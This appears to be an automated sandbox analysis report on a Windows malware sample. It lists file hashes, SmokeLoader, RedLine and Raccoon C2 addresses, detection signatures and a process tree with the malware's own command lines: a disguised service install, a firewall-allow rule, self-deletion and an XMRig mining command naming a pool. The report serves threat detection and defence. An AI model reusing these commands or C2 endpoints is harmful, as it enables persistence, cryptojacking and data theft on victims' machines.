Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    27-09-2021 04:41

General

  • Target

    39bad05eb49062c256b8f7e215e6eb86.exe

  • Size

    136KB

  • MD5

    39bad05eb49062c256b8f7e215e6eb86

  • SHA1

    32c01c2fdb17d53a67cf6ccf2e26feb0716cc449

  • SHA256

    e32667f798148a1033335863662b7524016f70895a5c35eefca03d107e62476a

  • SHA512

    ad812922770f7638cb37ee8e09f3dbbddf13bce77ea4a094955520e274debf402c662845b43797aa01aa82715ed528b2f76960637e5c8ceacf4b1c4866ac22fc

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

installszxc1

C2

138.124.186.2:27999

Extracted

Family

redline

Botnet

z0rm1onbuild

C2

45.156.21.209:56326

Extracted

Family

raccoon

Botnet

a72c96f6762e4258a13dee8bc0dd14557df18467

Attributes
  • url4cnc

    https://t.me/h_wacel1new_1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

b2f2e53f9e27f901d453d8f6fbafe1b4d5266bb7

Attributes
  • url4cnc

    https://t.me/hcdrom1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

    suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 17 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe
    "C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:664
    • C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe
      "C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:888
  • C:\Users\Admin\AppData\Local\Temp\E7DA.exe
    C:\Users\Admin\AppData\Local\Temp\E7DA.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Users\Admin\AppData\Local\Temp\E7DA.exe
      C:\Users\Admin\AppData\Local\Temp\E7DA.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3112
  • C:\Users\Admin\AppData\Local\Temp\EE92.exe
    C:\Users\Admin\AppData\Local\Temp\EE92.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:2684
  • C:\Users\Admin\AppData\Local\Temp\F9FD.exe
    C:\Users\Admin\AppData\Local\Temp\F9FD.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3948
    • C:\Users\Admin\AppData\Local\Temp\F9FD.exe
      "C:\Users\Admin\AppData\Local\Temp\F9FD.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:764
  • C:\Users\Admin\AppData\Local\Temp\FD4A.exe
    C:\Users\Admin\AppData\Local\Temp\FD4A.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2192
  • C:\Users\Admin\AppData\Local\Temp\133.exe
    C:\Users\Admin\AppData\Local\Temp\133.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:504
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\133.exe"
      2⤵
        PID:4516
        • C:\Windows\SysWOW64\timeout.exe
          timeout /T 10 /NOBREAK
          3⤵
          • Delays execution with timeout.exe
          PID:4560
    • C:\Users\Admin\AppData\Local\Temp\15F4.exe
      C:\Users\Admin\AppData\Local\Temp\15F4.exe
      1⤵
      • Executes dropped EXE
      PID:1960
    • C:\Users\Admin\AppData\Local\Temp\2111.exe
      C:\Users\Admin\AppData\Local\Temp\2111.exe
      1⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      PID:1304
    • C:\Users\Admin\AppData\Local\Temp\2817.exe
      C:\Users\Admin\AppData\Local\Temp\2817.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:3904
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 1340
        2⤵
        • Program crash
        • Suspicious use of AdjustPrivilegeToken
        PID:3636
    • C:\Users\Admin\AppData\Local\Temp\2BD1.exe
      C:\Users\Admin\AppData\Local\Temp\2BD1.exe
      1⤵
      • Executes dropped EXE
      PID:3108
      • C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe
        "C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe"
        2⤵
        • Executes dropped EXE
        PID:4912
      • C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe
        "C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe"
        2⤵
        • Executes dropped EXE
        PID:4940
      • C:\Users\Admin\AppData\Local\Temp\fbf.exe
        "C:\Users\Admin\AppData\Local\Temp\fbf.exe"
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Enumerates connected drives
        • Checks processor information in registry
        • Suspicious use of SetWindowsHookEx
        PID:4992
    • C:\Users\Admin\AppData\Local\Temp\32E6.exe
      C:\Users\Admin\AppData\Local\Temp\32E6.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rlmcgrfj\
        2⤵
          PID:4176
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\widahggu.exe" C:\Windows\SysWOW64\rlmcgrfj\
          2⤵
            PID:4276
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create rlmcgrfj binPath= "C:\Windows\SysWOW64\rlmcgrfj\widahggu.exe /d\"C:\Users\Admin\AppData\Local\Temp\32E6.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:4340
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description rlmcgrfj "wifi internet conection"
              2⤵
                PID:4452
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start rlmcgrfj
                2⤵
                  PID:4580
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:4660
                • C:\Users\Admin\AppData\Local\Temp\3921.exe
                  C:\Users\Admin\AppData\Local\Temp\3921.exe
                  1⤵
                  • Executes dropped EXE
                  PID:3832
                • C:\Windows\SysWOW64\rlmcgrfj\widahggu.exe
                  C:\Windows\SysWOW64\rlmcgrfj\widahggu.exe /d"C:\Users\Admin\AppData\Local\Temp\32E6.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:4636
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:4740
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:3860

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/504-171-0x0000000000400000-0x00000000004F1000-memory.dmp

                    Filesize

                    964KB

                  • memory/504-170-0x0000000002040000-0x00000000020D0000-memory.dmp

                    Filesize

                    576KB

                  • memory/664-114-0x0000000000590000-0x0000000000599000-memory.dmp

                    Filesize

                    36KB

                  • memory/764-148-0x0000000000400000-0x0000000000422000-memory.dmp

                    Filesize

                    136KB

                  • memory/764-166-0x00000000052E0000-0x00000000058E6000-memory.dmp

                    Filesize

                    6.0MB

                  • memory/764-226-0x0000000007080000-0x0000000007081000-memory.dmp

                    Filesize

                    4KB

                  • memory/764-211-0x0000000006F90000-0x0000000006F91000-memory.dmp

                    Filesize

                    4KB

                  • memory/888-115-0x0000000000400000-0x0000000000409000-memory.dmp

                    Filesize

                    36KB

                  • memory/1304-197-0x0000000000270000-0x0000000000271000-memory.dmp

                    Filesize

                    4KB

                  • memory/1304-207-0x00000000055D0000-0x00000000055D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1304-195-0x0000000077020000-0x00000000771AE000-memory.dmp

                    Filesize

                    1.6MB

                  • memory/1860-237-0x0000000001F80000-0x0000000001F93000-memory.dmp

                    Filesize

                    76KB

                  • memory/1860-238-0x0000000000400000-0x00000000004AD000-memory.dmp

                    Filesize

                    692KB

                  • memory/1960-179-0x0000000001BA0000-0x0000000001BA1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-182-0x0000000001010000-0x00000000017A3000-memory.dmp

                    Filesize

                    7.6MB

                  • memory/1960-176-0x0000000001B50000-0x0000000001B51000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-181-0x0000000001BC0000-0x0000000001BC1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-180-0x0000000001BB0000-0x0000000001BB1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-177-0x0000000001B60000-0x0000000001B61000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-178-0x0000000001B90000-0x0000000001B91000-memory.dmp

                    Filesize

                    4KB

                  • memory/2192-161-0x00000000009D0000-0x00000000009EE000-memory.dmp

                    Filesize

                    120KB

                  • memory/2192-209-0x000000001BCA0000-0x000000001BCA1000-memory.dmp

                    Filesize

                    4KB

                  • memory/2192-262-0x000000001AF74000-0x000000001AF75000-memory.dmp

                    Filesize

                    4KB

                  • memory/2192-168-0x0000000002350000-0x0000000002351000-memory.dmp

                    Filesize

                    4KB

                  • memory/2192-167-0x00000000022C0000-0x00000000022C1000-memory.dmp

                    Filesize

                    4KB

                  • memory/2192-189-0x000000001BD70000-0x000000001BD71000-memory.dmp

                    Filesize

                    4KB

                  • memory/2192-165-0x000000001B890000-0x000000001B891000-memory.dmp

                    Filesize

                    4KB

                  • memory/2192-146-0x0000000000260000-0x0000000000261000-memory.dmp

                    Filesize

                    4KB

                  • memory/2192-190-0x000000001C470000-0x000000001C471000-memory.dmp

                    Filesize

                    4KB

                  • memory/2192-156-0x000000001AF70000-0x000000001AF72000-memory.dmp

                    Filesize

                    8KB

                  • memory/2192-228-0x000000001AF72000-0x000000001AF74000-memory.dmp

                    Filesize

                    8KB

                  • memory/2192-225-0x0000000002320000-0x0000000002321000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-129-0x0000000001280000-0x0000000001281000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-139-0x00000000054B0000-0x00000000054B1000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-183-0x0000000006C30000-0x0000000006C31000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-128-0x0000000077020000-0x00000000771AE000-memory.dmp

                    Filesize

                    1.6MB

                  • memory/2684-154-0x00000000053C0000-0x00000000053C1000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-141-0x0000000005380000-0x0000000005381000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-133-0x00000000054C0000-0x00000000054C1000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-132-0x00000000031E0000-0x00000000031E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-185-0x0000000007330000-0x0000000007331000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-193-0x0000000006B80000-0x0000000006B81000-memory.dmp

                    Filesize

                    4KB

                  • memory/2684-131-0x0000000005AD0000-0x0000000005AD1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3024-117-0x00000000005D0000-0x00000000005E6000-memory.dmp

                    Filesize

                    88KB

                  • memory/3024-169-0x0000000002360000-0x0000000002376000-memory.dmp

                    Filesize

                    88KB

                  • memory/3108-220-0x0000000000420000-0x0000000000421000-memory.dmp

                    Filesize

                    4KB

                  • memory/3832-247-0x0000000001FE0000-0x0000000002070000-memory.dmp

                    Filesize

                    576KB

                  • memory/3832-248-0x0000000000400000-0x00000000004F0000-memory.dmp

                    Filesize

                    960KB

                  • memory/3904-218-0x0000000000400000-0x000000000044D000-memory.dmp

                    Filesize

                    308KB

                  • memory/3904-217-0x0000000000710000-0x000000000073D000-memory.dmp

                    Filesize

                    180KB

                  • memory/3948-142-0x0000000005070000-0x0000000005071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3948-137-0x0000000000620000-0x0000000000621000-memory.dmp

                    Filesize

                    4KB

                  • memory/3948-138-0x00000000054D0000-0x00000000054D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3948-147-0x0000000004F00000-0x0000000004F1D000-memory.dmp

                    Filesize

                    116KB

                  • memory/3948-140-0x0000000004F40000-0x0000000004F41000-memory.dmp

                    Filesize

                    4KB

                  • memory/4636-268-0x0000000000400000-0x00000000004AD000-memory.dmp

                    Filesize

                    692KB

                  • memory/4636-267-0x0000000000520000-0x000000000066A000-memory.dmp

                    Filesize

                    1.3MB

                  • memory/4740-269-0x0000000000750000-0x0000000000765000-memory.dmp

                    Filesize

                    84KB

                  • memory/4912-299-0x00000000004D0000-0x000000000061A000-memory.dmp

                    Filesize

                    1.3MB

                  • memory/4912-308-0x0000000004A83000-0x0000000004A84000-memory.dmp

                    Filesize

                    4KB

                  • memory/4912-307-0x0000000004A82000-0x0000000004A83000-memory.dmp

                    Filesize

                    4KB

                  • memory/4912-304-0x0000000004A80000-0x0000000004A81000-memory.dmp

                    Filesize

                    4KB

                  • memory/4912-302-0x0000000004A84000-0x0000000004A86000-memory.dmp

                    Filesize

                    8KB

                  • memory/4912-301-0x0000000000400000-0x00000000004C5000-memory.dmp

                    Filesize

                    788KB

                  • memory/4940-297-0x0000000000400000-0x00000000004CB000-memory.dmp

                    Filesize

                    812KB

                  • memory/4940-295-0x0000000000690000-0x00000000006C7000-memory.dmp

                    Filesize

                    220KB

                  • memory/4940-306-0x0000000004C30000-0x0000000004C31000-memory.dmp

                    Filesize

                    4KB

                  • memory/4940-292-0x0000000004C34000-0x0000000004C36000-memory.dmp

                    Filesize

                    8KB

                  • memory/4940-309-0x0000000004C32000-0x0000000004C33000-memory.dmp

                    Filesize

                    4KB

                  • memory/4940-310-0x0000000004C33000-0x0000000004C34000-memory.dmp

                    Filesize

                    4KB

                  • memory/4992-286-0x0000000000530000-0x000000000067A000-memory.dmp

                    Filesize

                    1.3MB

                  • memory/4992-289-0x0000000000400000-0x00000000004C4000-memory.dmp

                    Filesize

                    784KB